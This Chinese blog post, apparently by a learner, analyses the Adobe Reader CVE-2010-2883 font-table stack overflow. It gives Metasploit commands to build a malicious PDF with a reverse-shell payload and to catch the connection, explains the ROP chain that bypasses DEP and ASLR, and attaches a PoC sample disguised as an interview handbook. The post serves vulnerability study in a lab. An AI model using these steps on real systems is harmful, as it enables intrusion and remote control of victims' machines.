欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

漏洞战争CVE-2010-2883 小白分析 望大佬指点迷津

漏洞战争CVE-2010-2883 小白分析 望大佬指点迷津

Adobe Reader TTF字体SING表栈溢出漏洞


CVE-2010-2883漏洞利用(Kali虚拟机)

    1. 打开Kali系统,输入指令msfconsole


    2. 指令 search cve-2010-2883 


    3.获取主机ip

       打开命令行窗口 指令 ifconfig



    4. 指令 use exploit/windows/fileformat/adobe_cooltype_sing

        (使用此漏洞模块)

        指令 set payload windows/meterpreter/reverse_tcp

        (调用meterpreter载荷,反向连接到渗透机)

        指令 set lhost 192.168.117.134

        (设置主机ip)

        指令 set FILENAME CVE-2010-2883.pdf

        (设置漏洞利用文件名)

        指令 show options

        (查看选项)


        指令 exploit

        (生成漏洞利用文件)



    5. Metasploit开启shell监听会话,等待肉鸡上线

        指令 use exploit/multi/handler

        (使用handler监听模块)

        指令 set payload windows/meterpreter/reverse_tcp

        (回弹一个tcp连接)

        指令 set lhost 192.168.117.134

        (设置监听ip地址)

        指令 show options

        (查看设置选项)


        exploit

        (开启监听,等待回连)


    6. 在目标靶机内装载AdobeReader 9.3

    7. 将生成的CVE-2010-2883.pdf(漏洞利用文件)拷贝至目标靶机,使用Adobe Reader打开此文件

    8. 靶机出现卡顿的情况(此时靶机正在与主机进行连接)

    9. 回到主机,发现此时已经成功与靶机进行了连接


    10. 指令 dir (查看靶机目录文件)


         指令 mkdir aaa (在靶机当前目录下创建文件夹)


         指令 screenshot (靶机截图)



POC样本解析


网上下裁PDFStreamDumper解析PDF工具


使用PDFStreamDumper打开Poc样本(注:此poc样本为漏洞战争附属资料——名企面试自助手册)


查看第11页


查看第12页JS代码



翻译成如下代码

AdobeReader在打开pdf文件时会执行


(图中??????还没有弄懂含义,望各位大佬提供思路)


漏洞成因分析


CVE-2010-2883是Adobe Reader中CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的PDF文件就有可能导致执行任意代码-----《漏洞战争》

SING表数据结构



通过相对文件偏移查找SING表

SING表结构



图中红框为超长的UnicodeName项

知道了漏洞产生模块和漏洞原理,我们利用ida打开该模块进行静态分析


OD跟踪查看


strcat执行后的栈


此时我们对该栈下内存访问断点,然后跑起来,断到如下地址


因为当初strcat覆盖时已将此栈地址覆盖,看了看retn指令,在看到此时的栈顶,eip已经被我们掌控了,

跟进去,查看4A82A714地址的内容


pop esp 再加上此时的栈顶地址0c0c0c0c,这是直接就修改我们的栈地址了,执行效果如下


通过连续的ROP指令调用了CreateFileA函数


又以相同的方式调用了CreateFileMappingA函数,创建文件内存映射


再以相同的方式调用了MapViewOfFile


最后调用了memcpy函数


其中目的地址29f0000为共享内存地址,源地址为shellcode代码地址,memcpy执行后返回到目的地址直接执行shellcode。以此绕过DEP保护。由于构造的ROP指令均位于不受ASLR保护的icucnv36.dll,因此也可用于绕过ASLR保护。——《漏洞战争》


问题总结

1.如下图所示,Poc文件中,构造board3大块时,为甚麽0x80000会减去(0x1020-0x08)/2 ?

2.如下图所示, Poc文件中,连续申请堆空间时要在board3后追加"s"?


 3.在未知漏洞信息的情况下,如何分析此poc文件?确切地说,如何找到溢出点?正常情况下,我们利用火绒剑检测其行为,发现打开文件操作后,下API断点,但此时的栈已被转换成0c0c0c0c,无法栈回溯,希望大佬可以给些建议,可以让我在未知漏洞的情况下,寻找到poc文件溢出点。


参考文献

1. 0day安全漏洞

2. 漏洞战争

3. https://bbs.pediy.com/thread-223106.htm 

(大佬对HeapSpray发展的介绍:推荐)

4. https://blog.csdn.net/wangtiankuo/article/details/82994280  

(CVE-2010-2883分析报告)




上传的附件 名企面试自助手册.rar

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功